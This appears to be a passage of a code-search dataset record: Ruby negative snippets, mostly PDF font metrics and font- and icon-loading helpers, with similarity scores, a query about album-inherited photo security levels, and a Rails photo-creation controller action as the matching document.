740, 673] }, \"\\u00D3\" => { wx: 790, boundingbox: [51, -15, 741, 675] }, \"\\u00D4\" => { wx: 890, boundingbox: [18, 293, 855, 673] }, \"\\u00D5\" => { wx: 823, boundingbox: [25, -101, 803, 751] }, \"\\u00D6\" => { wx: 549, boundingbox: [10, -38, 515, 917] }, \"\\u00D7\" => { wx: 250, boundingbox: [69, 210, 169, 310] }, \"\\u00D8\" => { wx: 713, boundingbox: [15, 0, 680, 288] }, \"\\u00D9\" => { wx: 603, boundingbox: [23, 0, 583, 454] }, \"\\u00DA\" => { wx: 603, boundingbox: [30, 0, 578, 477] }, \"\\u00DB\" => { wx: 1042, boundingbox: [27, -20, 1023, 510] }, \"\\u00DC\" => { wx: 987, boundingbox: [30, -15, 939, 513] }, \"\\u00DD\" => { wx: 603, boundingbox: [39, 2, 567, 911] }, \"\\u00DE\" => { wx: 987, boundingbox: [45, -20, 954, 508] }, \"\\u00DF\" => { wx: 603, boundingbox: [44, -19, 572, 890] }, \"\\u00E0\" => { wx: 494, boundingbox: [18, 0, 466, 745] }, \"\\u00E1\" => { wx: 329, boundingbox: [25, -198, 306, 746] }, \"\\u00E2\" => { wx: 790, boundingbox: [50, -20, 740, 670] }, \"\\u00E3\" => { wx: 790, boundingbox: [49, -15, 739, 675] }, \"\\u00E4\" => { wx: 786, boundingbox: [5, 293, 725, 673] }, \"\\u00E5\" => { wx: 713, boundingbox: [14, -108, 695, 752] }, \"\\u00E6\" => { wx: 384, boundingbox: [24, -293, 436, 926] }, \"\\u00E7\" => { wx: 384, boundingbox: [24, -85, 108, 925] }, \"\\u00E8\" => { wx: 384, boundingbox: [24, -293, 436, 926] }, \"\\u00E9\" => { wx: 384, boundingbox: [0, -80, 349, 926] }, \"\\u00EA\" => { wx: 384, boundingbox: [0, -79, 77, 925] }, \"\\u00EB\" => { wx: 384, boundingbox: [0, -80, 349, 926] }, \"\\u00EC\" => { wx: 494, boundingbox: [209, -85, 445, 925] }, \"\\u00ED\" => { wx: 494, boundingbox: [20, -85, 284, 935] }, \"\\u00EE\" => { wx: 494, boundingbox: [209, -75, 445, 935] }, \"\\u00EF\" => { wx: 494, boundingbox: [209, -85, 284, 935] }, \"\\u00F1\" => { wx: 329, boundingbox: [21, -198, 302, 746] }, \"\\u00F2\" => { wx: 274, boundingbox: [2, -107, 291, 916] }, \"\\u00F3\" => { wx: 686, boundingbox: [308, -88, 675, 920] }, \"\\u00F4\" => { wx: 686, boundingbox: [308, -88, 378, 975] }, \"\\u00F5\" => { wx: 686, boundingbox: [11, -87, 378, 921] }, \"\\u00F6\" => { wx: 384, boundingbox: [54, -293, 466, 926] }, \"\\u00F7\" => { wx: 384, boundingbox: [382, -85, 466, 925] }, \"\\u00F8\" => { wx: 384, boundingbox: [54, -293, 466, 926] }, \"\\u00F9\" => { wx: 384, boundingbox: [22, -80, 371, 926] }, \"\\u00FA\" => { wx: 384, boundingbox: [294, -79, 371, 925] }, \"\\u00FB\" => { wx: 384, boundingbox: [22, -80, 371, 926] }, \"\\u00FC\" => { wx: 494, boundingbox: [48, -85, 284, 925] }, \"\\u00FD\" => { wx: 494, boundingbox: [209, -85, 473, 935] }, \"\\u00FE\" => { wx: 494, boundingbox: [48, -75, 284, 935] }, \"\\xFF\" => { wx: 790, boundingbox: [56, -3, 733, 808] } }\n zapfdingbats_metrics = { ' ' => { wx: 278, boundingbox: [0, 0, 0, 0] }, '!' => { wx: 974, boundingbox: [35, 72, 939, 621] }, '\"' => { wx: 961, boundingbox: [35, 81, 927, 611] }, '#' => { wx: 974, boundingbox: [35, 72, 939, 621] }, '$' => { wx: 980, boundingbox: [35, 0, 945, 692] }, '%' => { wx: 719, boundingbox: [34, 139, 685, 566] }, '&' => { wx: 789, boundingbox: [35, -14, 755, 705] }, \"'\" => { wx: 790, boundingbox: [35, -14, 755, 705] }, '(' => { wx: 791, boundingbox: [35, -13, 761, 705] }, ')' => { wx: 690, boundingbox: [34, 138, 655, 553] }, '*' => { wx: 960, boundingbox: [35, 123, 925, 568] }, '+' => { wx: 939, boundingbox: [35, 134, 904, 559] }, ',' => { wx: 549, boundingbox: [29, -11, 516, 705] }, '-' => { wx: 855, boundingbox: [34, 59, 820, 632] }, '.' => { wx: 911, boundingbox: [35, 50, 876, 642] }, '/' => { wx: 933, boundingbox: [35, 139, 899, 550] }, '0' => { wx: 911, boundingbox: [35, 50, 876, 642] }, '1' => { wx: 945, boundingbox: [35, 139, 909, 553] }, '2' => { wx: 974, boundingbox: [35, 104, 938, 587] }, '3' => { wx: 755, boundingbox: [34, -13, 721, 705] }, '4' => { wx: 846, boundingbox: [36, -14, 811, 705] }, '5' => { wx: 762, boundingbox: [35, 0, 727, 692] }, '6' => { wx: 761, boundingbox: [35, 0, 727, 692] }, '7' => { wx: 571, boundingbox: [-1, -68, 571, 661] }, '8' => { wx: 677, boundingbox: [36, -13, 642, 705] }, '9' => { wx: 763, boundingbox: [35, 0, 728, 692] }, ':' => { wx: 760, boundingbox: [35, 0, 726, 692] }, ';' => { wx: 759, boundingbox: [35, 0, 725, 692] }, '<' => { wx: 754, boundingbox: [35, 0, 720, 692] }, '=' => { wx: 494, boundingbox: [35, 0, 460, 692] }, '>' => { wx: 552, boundingbox: [35, 0, 517, 692] }, '?' => { wx: 537, boundingbox: [35, 0, 503, 692] }, '@' => { wx: 577, boundingbox: [35, 96, 542, 596] }, 'A' => { wx: 692, boundingbox: [35, -14, 657, 705] }, 'B' => { wx: 786, boundingbox: [35, -14, 751, 705] }, 'C' => { wx: 788, boundingbox: [35, -14, 752, 705] }, 'D' => { wx: 788, boundingbox: [35, -14, 753, 705] }, 'E' => { wx: 790, boundingbox: [35, -14, 756, 705] }, 'F' => { wx: 793, boundingbox: [35, -13, 759, 705] }, 'G' => { wx: 794, boundingbox: [35, -13, 759, 705] }, 'H' => { wx: 816, boundingbox: [35, -14, 782, 705] }, 'I' => { wx: 823, boundingbox: [35, -14, 787, 705] }, 'J' => { wx: 789, boundingbox: [35, -14, 754, 705] }, 'K' => { wx: 841, boundingbox: [35, -14, 807, 705] }, 'L' => { wx: 823, boundingbox: [35, -14, 789, 705] }, 'M' => { wx: 833, boundingbox: [35, -14, 798, 705] }, 'N' => { wx: 816, boundingbox: [35, -13, 782, 705] }, 'O' => { wx: 831, boundingbox: [35, -14, 796, 705] }, 'P' => { wx: 923, boundingbox: [35, -14, 888, 705] }, 'Q' => { wx: 744, boundingbox: [35, 0, 710, 692] }, 'R' => { wx: 723, boundingbox: [35, 0, 688, 692] }, 'S' => { wx: 749, boundingbox: [35, 0, 714, 692] }, 'T' => { wx: 790, boundingbox: [34, -14, 756, 705] }, 'U' => { wx: 792, boundingbox: [35, -14, 758, 705] }, 'V' => { wx: 695, boundingbox: [35, -14, 661, 706] }, 'W' => { wx: 776, boundingbox: [35, -6, 741, 699] }, 'X' => { wx: 768, boundingbox: [35, -7, 734, 699] }, 'Y' => { wx: 792, boundingbox: [35, -14, 757, 705] }, 'Z' => { wx: 759, boundingbox: [35, 0, 725, 692] }, '[' => { wx: 707, boundingbox: [35, -13, 672, 704] }, '\\\\' => { wx: 708, boundingbox: [35, -14, 672, 705] }, ']' => { wx: 682, boundingbox: [35, -14, 647, 705] }, '^' => { wx: 701, boundingbox: [35, -14, 666, 705] }, '_' => { wx: 826, boundingbox: [35, -14, 791, 705] }, '`' => { wx: 815, boundingbox: [35, -14, 780, 705] }, 'a' => { wx: 789, boundingbox: [35, -14, 754, 705] }, 'b' => { wx: 789, boundingbox: [35, -14, 754, 705] }, 'c' => { wx: 707, boundingbox: [34, -14, 673, 705] }, 'd' => { wx: 687, boundingbox: [36, 0, 651, 692] }, 'e' => { wx: 696, boundingbox: [35, 0, 661, 691] }, 'f' => { wx: 689, boundingbox: [35, 0, 655, 692] }, 'g' => { wx: 786, boundingbox: [34, -14, 751, 705] }, 'h' => { wx: 787, boundingbox: [35, -14, 752, 705] }, 'i' => { wx: 713, boundingbox: [35, -14, 678, 705] }, 'j' => { wx: 791, boundingbox: [35, -14, 756, 705] }, 'k' => { wx: 785, boundingbox: [36, -14, 751, 705] }, 'l' => { wx: 791, boundingbox: [35, -14, 757, 705] }, 'm' => { wx: 873, boundingbox: [35, -14, 838, 705] }, 'n' => { wx: 761, boundingbox: [35, 0, 726, 692] }, 'o' => { wx: 762, boundingbox: [35, 0, 727, 692] }, 'p' => { wx: 762, boundingbox: [35, 0, 727, 692] }, 'q' => { wx: 759, boundingbox: [35, 0, 725, 692] }, 'r' => { wx: 759, boundingbox: [35, 0, 725, 692] }, 's' => { wx: 892, boundingbox: [35, 0, 858, 705] }, 't' => { wx: 892, boundingbox: [35, -14, 858, 692] }, 'u' => { wx: 788, boundingbox: [35, -14, 754, 705] }, 'v' => { wx: 784, boundingbox: [35, -14, 749, 705] }, 'w' => { wx: 438, boundingbox: [35, -14, 403, 705] }, 'x' => { wx: 138, boundingbox: [35, 0, 104, 692] }, 'y' => { wx: 277, boundingbox: [35, 0, 242, 692] }, 'z' => { wx: 415, boundingbox: [35, 0, 380, 692] }, '{' => { wx: 392, boundingbox: [35, 263, 357, 705] }, '|' => { wx: 392, boundingbox: [34, 263, 357, 705] }, '}' => { wx: 668, boundingbox: [35, 263, 633, 705] }, '~' => { wx: 668, boundingbox: [36, 263, 634, 705] }, \"\\u0080\" => { wx: 390, boundingbox: [35, -14, 356, 705] }, \"\\u0081\" => { wx: 390, boundingbox: [35, -14, 355, 705] }, \"\\u0082\" => { wx: 317, boundingbox: [35, 0, 283, 692] }, \"\\u0083\" => { wx: 317, boundingbox: [35, 0, 283, 692] }, \"\\u0084\" => { wx: 276, boundingbox: [35, 0, 242, 692] }, \"\\u0085\" => { wx: 276, boundingbox: [35, 0, 242, 692] }, \"\\u0086\" => { wx: 509, boundingbox: [35, 0, 475, 692] }, \"\\u0087\" => { wx: 509, boundingbox: [35, 0, 475, 692] }, \"\\u0088\" => { wx: 410, boundingbox: [35, 0, 375, 692] }, \"\\u0089\" => { wx: 410, boundingbox: [35, 0, 375, 692] }, \"\\u008A\" => { wx: 234, boundingbox: [35, -14, 199, 705] }, \"\\u008B\" => { wx: 234, boundingbox: [35, -14, 199, 705] }, \"\\u008C\" => { wx: 334, boundingbox: [35, 0, 299, 692] }, \"\\u008D\" => { wx: 334, boundingbox: [35, 0, 299, 692] }, \"\\u00A1\" => { wx: 732, boundingbox: [35, -143, 697, 806] }, \"\\u00A2\" => { wx: 544, boundingbox: [56, -14, 488, 706] }, \"\\u00A3\" => { wx: 544, boundingbox: [34, -14, 508, 705] }, \"\\u00A4\" => { wx: 910, boundingbox: [35, 40, 875, 651] }, \"\\u00A5\" => { wx: 667, boundingbox: [35, -14, 633, 705] }, \"\\u00A6\" => { wx: 760, boundingbox: [35, -14, 726, 705] }, \"\\u00A7\" => { wx: 760, boundingbox: [0, 121, 758, 569] }, \"\\u00A8\" => { wx: 776, boundingbox: [35, 0, 741, 705] }, \"\\u00A9\" => { wx: 595, boundingbox: [34, -14, 560, 705] }, \"\\u00AA\" => { wx: 694, boundingbox: [35, -14, 659, 705] }, \"\\u00AB\" => { wx: 626, boundingbox: [34, 0, 591, 705] }, \"\\u00AC\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00AD\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00AE\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00AF\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00B0\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00B1\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00B2\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00B3\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00B4\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00B5\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00B6\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00B7\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00B8\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00B9\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00BA\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00BB\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00BC\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00BD\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00BE\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00BF\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00C0\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00C1\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00C2\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00C3\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00C4\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00C5\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00C6\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00C7\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00C8\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00C9\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00CA\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00CB\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00CC\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00CD\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00CE\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00CF\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00D0\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00D1\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00D2\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00D3\" => { wx: 788, boundingbox: [35, -14, 754, 705] }, \"\\u00D4\" => { wx: 894, boundingbox: [35, 58, 860, 634] }, \"\\u00D5\" => { wx: 838, boundingbox: [35, 152, 803, 540] }, \"\\u00D6\" => { wx: 1016, boundingbox: [34, 152, 981, 540] }, \"\\u00D7\" => { wx: 458, boundingbox: [35, -127, 422, 820] }, \"\\u00D8\" => { wx: 748, boundingbox: [35, 94, 698, 597] }, \"\\u00D9\" => { wx: 924, boundingbox: [35, 140, 890, 552] }, \"\\u00DA\" => { wx: 748, boundingbox: [35, 94, 698, 597] }, \"\\u00DB\" => { wx: 918, boundingbox: [35, 166, 884, 526] }, \"\\u00DC\" => { wx: 927, boundingbox: [35, 32, 892, 660] }, \"\\u00DD\" => { wx: 928, boundingbox: [35, 129, 891, 562] }, \"\\u00DE\" => { wx: 928, boundingbox: [35, 128, 893, 563] }, \"\\u00DF\" => { wx: 834, boundingbox: [35, 155, 799, 537] }, \"\\u00E0\" => { wx: 873, boundingbox: [35, 93, 838, 599] }, \"\\u00E1\" => { wx: 828, boundingbox: [35, 104, 791, 588] }, \"\\u00E2\" => { wx: 924, boundingbox: [35, 98, 889, 594] }, \"\\u00E3\" => { wx: 924, boundingbox: [35, 98, 889, 594] }, \"\\u00E4\" => { wx: 917, boundingbox: [35, 0, 882, 692] }, \"\\u00E5\" => { wx: 930, boundingbox: [35, 84, 896, 608] }, \"\\u00E6\" => { wx: 931, boundingbox: [35, 84, 896, 608] }, \"\\u00E7\" => { wx: 463, boundingbox: [35, -99, 429, 791] }, \"\\u00E8\" => { wx: 883, boundingbox: [35, 71, 848, 623] }, \"\\u00E9\" => { wx: 836, boundingbox: [35, 44, 802, 648] }, \"\\u00EA\" => { wx: 836, boundingbox: [35, 44, 802, 648] }, \"\\u00EB\" => { wx: 867, boundingbox: [35, 101, 832, 591] }, \"\\u00EC\" => { wx: 867, boundingbox: [35, 101, 832, 591] }, \"\\u00ED\" => { wx: 696, boundingbox: [35, 44, 661, 648] }, \"\\u00EE\" => { wx: 696, boundingbox: [35, 44, 661, 648] }, \"\\u00EF\" => { wx: 874, boundingbox: [35, 77, 840, 619] }, \"\\u00F1\" => { wx: 874, boundingbox: [35, 73, 840, 615] }, \"\\u00F2\" => { wx: 760, boundingbox: [35, 0, 725, 692] }, \"\\u00F3\" => { wx: 946, boundingbox: [35, 160, 911, 533] }, \"\\u00F4\" => { wx: 771, boundingbox: [34, 37, 736, 655] }, \"\\u00F5\" => { wx: 865, boundingbox: [35, 207, 830, 481] }, \"\\u00F6\" => { wx: 771, boundingbox: [34, 37, 736, 655] }, \"\\u00F7\" => { wx: 888, boundingbox: [34, -19, 853, 712] }, \"\\u00F8\" => { wx: 967, boundingbox: [35, 124, 932, 568] }, \"\\u00F9\" => { wx: 888, boundingbox: [34, -19, 853, 712] }, \"\\u00FA\" => { wx: 831, boundingbox: [35, 113, 796, 579] }, \"\\u00FB\" => { wx: 873, boundingbox: [36, 118, 838, 578] }, \"\\u00FC\" => { wx: 927, boundingbox: [35, 150, 891, 542] }, \"\\u00FD\" => { wx: 970, boundingbox: [35, 76, 931, 616] }, \"\\u00FE\" => { wx: 918, boundingbox: [34, 99, 884, 593] } }\n # make two correlating arrays (indexes reffer to the same data), one for font names and the other for the fonts matrics.\n fonts_metrics_array = [times_metrics, times_bold_metrics, times_italic_metrics, times_bolditalic_metrics,\n helvetica_metrics, helvetica_bold_metrics, helvetica_oblique_metrics, helvetica_oblique_metrics,\n courier_metrics, courier_bold_metrics, courier_oblique_metrics, courier_boldoblique_metrics,\n symbol_metrics, zapfdingbats_metrics]\n fonts_names_array = [:\"Times-Roman\",\n :\"Times-Bold\",\n :\"Times-Italic\",\n :\"Times-BoldItalic\",\n :Helvetica,\n :\"Helvetica-Bold\",\n :\"Helvetica-BoldOblique\",\n :\"Helvetica-Oblique\",\n :Courier,\n :\"Courier-Bold\",\n :\"Courier-Oblique\",\n :\"Courier-BoldOblique\",\n :Symbol,\n :ZapfDingbats]\n\n # create the font object and register the font for each one of the 14 fonts\n fonts_names_array.each_index do |i|\n CombinePDF::Fonts.register_font fonts_names_array[i], fonts_metrics_array[i], Type: :Font, Subtype: :Type1, BaseFont: fonts_names_array[i]\n end\n end", "def library; end", "def library; end", "def load_no_focus_lib=(_arg0); end", "def load_yardoc(file = T.unsafe(nil)); end", "def path_to_font(source, options = T.unsafe(nil)); end", "def document_symbols(filename); end", "def document_symbols(filename); end", "def load_bgm str\n end", "def load_libs; end", "def default_font; \"example.font\"; end", "def ld(lib)\n load lib.to_s + '.rb'\n end", "def haiku?(poem)\n # code goes here\nend", "def mozart_italian; end", "def utf_page(url)\t\n Hpricot(Iconv.new('utf-8', 'windows-1257').iconv(open(@@WWW+url).read))\n end", "def IconKNEELING(hash={}); icon_parse(' GH ', hash); end", "def testget_leveled_file_contentNonRubyFile\n assert_raise(LoadError) do\n RCodeLeveler.get_leveled_file_content('RequiredFiles/NonRubyFile.so')\n end\n end", "def test05()\n theUserInterfaceFonts = \"kCTFontUIFontMiniEmphasizedSystem kCTFontUIFontSmallToolbar kCTFontUIFontWindowTitle kCTFontUIFontMenuTitle kCTFontUIFontSystem kCTFontUIFontMenuItem kCTFontUIFontEmphasizedSystem kCTFontUIFontToolbar kCTFontUIFontMessage kCTFontUIFontEmphasizedSystemDetail kCTFontUIFontSmallEmphasizedSystem kCTFontUIFontUserFixedPitch kCTFontUIFontMiniSystem kCTFontUIFontLabel kCTFontUIFontControlContent kCTFontUIFontSystemDetail kCTFontUIFontViews kCTFontUIFontUser kCTFontUIFontSmallSystem kCTFontUIFontApplication kCTFontUIFontToolTip\"\n begin\n result = MIMeta.listuserinterfacefonts\n unless result.eql? theUserInterfaceFonts\n puts \"User interface fonts different: #{result}\"\n end\n\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n end\nend", "def load_gem_plugins; end", "def read_support_file(file_path)\n File.open File.expand_path(\"../support/#{file_path}\", __FILE__), \"r:UTF-8\", &:read\nend", "def getCharImgLoc(char)\n \"#{font_path}/cm_#{char}.png\"\n\t\tend", "def hello\n \"Hello, Hello, はろ!\"\nend", "def get_translation_keys(gem_name)\n (dummy_comments, words) = read_file(File.dirname(__FILE__) + \"/../../default/#{gem_name}.yml\", \"en\")\n words\nend", "def load_icon(filename, application, type=FXPNGIcon)\r\n\ticon = nil\r\n\tFile.open(filename, 'rb') do |f|\r\n\t\ticon = type.new(application, f.read)\r\n\tend\r\n\t\r\n\treturn icon\r\nend", "def file_name\n library_name\n end", "def lib(name)\n\t\tlib = YAML::load(File.open(File.join(\"lib\", \"#{name}.yml\")))\n\tend", "def icon action = 'ruby'\n loader = @main.get_class.get_class_loader\n stream = loader.get_resource_as_stream(\"/com/moneydance/modules/features/ruby/#{action}.gif\")\n bytes = stream.to_io.read.to_java_bytes\n java.awt.Toolkit.default_toolkit.create_image(bytes)\n end", "def file_language_by_file_extension s_file_path, msgcs\n if KIBUVITS_b_DEBUG\n bn=binding()\n kibuvits_typecheck bn, String, s_file_path\n kibuvits_typecheck bn, Kibuvits_msgc_stack, msgcs\n end # if\n ar_tokens=Kibuvits_str.ar_bisect(s_file_path.reverse, '.')\n s_file_extension=ar_tokens[0].reverse.downcase\n s_file_language=\"undetermined\"\n case s_file_extension\n when \"js\"\n s_file_language=\"JavaScript\"\n when \"rb\"\n s_file_language=\"Ruby\"\n when \"php\"\n s_file_language=\"PHP\"\n when \"h\"\n s_file_language=\"C\"\n when \"hpp\"\n s_file_language=\"C++\"\n when \"c\"\n s_file_language=\"C\"\n when \"cpp\"\n s_file_language=\"C++\"\n when \"hs\"\n s_file_language=\"Haskell\"\n when \"java\"\n s_file_language=\"Java\"\n when \"scala\"\n s_file_language=\"Scala\"\n when \"html\"\n s_file_language=\"HTML\"\n when \"xml\"\n s_file_language=\"XML\"\n when \"bash\"\n s_file_language=\"Bash\"\n else\n msgcs.cre \"Either the file extension is not supported or \"+\n \"the file extension extraction failed.\\n\"+\n \"File extension candidate is: \"+s_file_extension, 1.to_s\n msgcs.last[\"Estonian\"]=\"Faililaiend on kas toetamata või ei õnnestunud \"+\n \"faililaiendit eraldada. \\n\"+\n \"Faililaiendi kandidaat on:\"+s_file_extension\n end # case\n return s_file_language\n end", "def image(name)\n File.expand_path(\"tex/#{name}\", File.dirname(__FILE__))\nend", "def hermes_catchphrase; end", "def font_url(source, options = T.unsafe(nil)); end", "def wrong; require 'unknown_file'; end", "def ext; end", "def ext; end", "def symbols(file); end", "def symbols(file); end", "def readIcon(scope,path)\n icon = nil\n File.open(File.expand_path(File.dirname(__FILE__)).tap {|pwd| $LOAD_PATH.unshift(pwd) unless $LOAD_PATH.include?(pwd)}+\"/\"+path, \"rb\") do |io|\n icon = FXPNGIcon.new(scope, io.read)\n icon.scale(25,25)\n end\n icon\n end", "def find_enoding\n scmdlog = `file -I #{@file_name}`.strip\n scmdlog[/charset=(.+?)$/, 1]\n end", "def lib_path; end", "def lib_path; end", "def lib_path; end", "def emoticons_in(cache)\n cache.exists('emoticons')\n end", "def initialize\n STDOUT.sync = true\n require \"linguist\"\n self.lang = Linguist.detect(Linguist::Blob.new \"\", self.class.instance_variable_get(:@paste))&.name\n end", "def load_path; end", "def render_emoticons(cache)\n string = cache.get('emoticons')\n hash = JSON.parse(string)\n emoticons = hash['items']\n end", "def get_text(path = T.unsafe(nil)); end", "def replace_emoji(text)\n emojis = Mumuki::Emojis::EMOJIS\n text.gsub(/:([^\\s:])+:/) do |short_name|\n short_code = short_name.gsub(':', '')\n emoji = emojis[short_code]\n if emoji\n %{<i class=\"mu-emoji #{emoji['ca']} _#{emoji['co']}\" title=\"#{short_name}\"></i>}\n else\n short_name\n end\n end\n end", "def external_encoding()\n #This is a stub, used for indexing\n end", "def init_linguistics\n Linguistics::use(:en)\nend", "def load_lexicons(dir)\n require 'usastools/lexicon'\n\n puts \"Loading lexicons from #{dir}...\"\n pl = USASTools::Lexicon::Parser.new(\n {semtag_parser: USASTools::SemTag::Parser.new(true, lambda{|*_| return true}, lambda{|*_| return true})}, \n {}, \n {\n case_sensitive: false,\n error_cb: lambda{ |line, msg, str|\n # $stderr.puts \" [E]#{line ? \" line #{line} :--\" : ''} #{msg} \"\n\t\t # $stderr.print \" [E]#{str} \\r\"\n\n return true } \n }\n\n )\n\n lexicons = {}\n Dir.glob( File.join(dir, '*_sw.usas') ).each do |fn|\n basename = File.basename(fn).gsub(/_sw\\.usas/, '')\n puts \" - #{basename}...\"\n lexicons[basename] = pl.parse( fn )\n end\n\n puts \"Loaded #{lexicons.length} lexicon[s] (#{lexicons.keys.join(', ')})\"\n return lexicons\n end", "def fixHtmlImageSrcAndKTs(pdf_tmp_html, pdftmp_dir, bkmkrkeeptogether_stylename, logkey='')\n filecontents = File.read(pdf_tmp_html).gsub(/src=\"images\\//,\"src=\\\"#{pdftmp_dir}/\")\n .gsub(/([a-zA-Z0-9]?[a-zA-Z0-9]?[a-zA-Z0-9]?\\s\\. \\. \\.)/,\"<span class=\\\"#{bkmkrkeeptogether_stylename}\\\">\\\\0</span>\")\n .gsub(/(\\w{5}[.?!])(<\\/p>)/,\"<span class=\\\"#{bkmkrkeeptogether_stylename}\\\">\\\\1</span>\\\\2\")\n return filecontents\nrescue => logstring\n return ''\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend", "def pbSmallFontName\n return MessageConfig.pbTryFonts(\"Power Green Small With BLD\",\"Pokemon Emerald Small With BLD\",\n \"Arial Narrow\",\"Arial\")\nend", "def load_font(family, height)\n end", "def load_format(name)\n require \"txt2tags/#{name}\"\n Object.const_get(File.basename(name, '.rb').capitalize!)\n end", "def load_i18n\n res = YAML.load_file(File.join(File.dirname(__FILE__), 'ie6nomore.i18n.yml'))\n end", "def load_english_a\n File.open(\"test/test_files/english_a.txt\", \"r\").read\n end", "def pbGetPlayerCharset(meta,charset,trainer=nil)\n trainer=$Trainer if !trainer\n outfit=trainer ? trainer.outfit : 0\n ret=meta[charset]\n ret=meta[1] if !ret || ret==\"\"\n# if FileTest.image_exist?(\"Graphics/Characters/\"+ret+\"_\"+outfit.to_s)\n if pbResolveBitmap(\"Graphics/Characters/\"+ret+\"_\"+outfit.to_s)\n ret=ret+\"_\"+outfit.to_s\n end\n return ret\nend", "def display_splash_text\n splash = Artii::Base.new :font => 'slant'\n puts splash.asciify('Country Trivia').blue\n splash\n end", "def setFontLib(name,location)\n\t\t\t@font = name\n\t\t\t@font_lib = CaptchaFont.new(name,location)\n\n\t\tend", "def bbcode_ext(text)\n text\n end" ]
[ "0.8397296", "0.83729917", "0.80688554", "0.7899776", "0.78091913", "0.7798595", "0.77853024", "0.7618974", "0.73331916", "0.7276545", "0.7084184", "0.7042319", "0.7032837", "0.701261", "0.7005068", "0.6961939", "0.6889547", "0.68615234", "0.68371344", "0.669029", "0.658042", "0.65502244", "0.6485382", "0.6352206", "0.622175", "0.61775", "0.6141264", "0.6135345", "0.5821779", "0.57944345", "0.57693183", "0.5636318", "0.5524891", "0.53400904", "0.5284204", "0.52754754", "0.5233667", "0.5227894", "0.52272576", "0.5226328", "0.52215", "0.5203608", "0.5203608", "0.51798147", "0.51681596", "0.51652056", "0.5156266", "0.5156266", "0.50700355", "0.5037451", "0.50246537", "0.50121355", "0.49942723", "0.49890593", "0.4958515", "0.49225277", "0.49222606", "0.49187276", "0.49175763", "0.49149835", "0.48910844", "0.4888349", "0.487729", "0.48609313", "0.4860545", "0.48462492", "0.48437384", "0.48403582", "0.48320207", "0.48266384", "0.48207223", "0.48171642", "0.48152396", "0.48152396", "0.48151264", "0.48151264", "0.4814253", "0.48142126", "0.47868398", "0.47868398", "0.47868398", "0.4778575", "0.4774485", "0.47742096", "0.4770774", "0.47576484", "0.47446197", "0.47196674", "0.47174686", "0.47147426", "0.47127342", "0.47094437", "0.4699842", "0.4689416", "0.46892548", "0.46814173", "0.46800444", "0.4677084", "0.46735194", "0.46705034" ]
0.7933185
3
When a photo is creted inside an album, then the photo will inherit the security level of the album, other wise use the securitylevel_id from the params when updated , the photo will always be updated using the securitylevel_id from the params, as photos can have different security level from the album
def create # create Photo from the params @photo = Photo.new(photo_params) @photo.security_setting = SecuritySetting.new # set the album if album_id exists in params if params.has_key?(:album_id) @photo.album_id = params[:album_id] end # if albums exists then photo inherits albums security level if @photo.album != nil @photo.security_setting.securitylevel_id = @photo.album.security_setting.securitylevel_id else # else set security level fromt the params @photo.security_setting.securitylevel_id = params[:securitylevel_id] end # set the user for the photo @photo.user = current_user respond_to do |format| if @photo.save ActivityFeed.new.createActivityFeed(current_user,@photo,"created") if params.has_key?(:album_id) format.html { redirect_to user_album_photo_path(@user,@photo.album,@photo), notice: 'photo was successfully updated.' } else format.html { redirect_to user_photo_path(@user,@photo), notice: 'photo was successfully updated.' } end format.json { render :show, status: :created, location: @photo } else format.html { render :new } format.json { render json: @photo.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
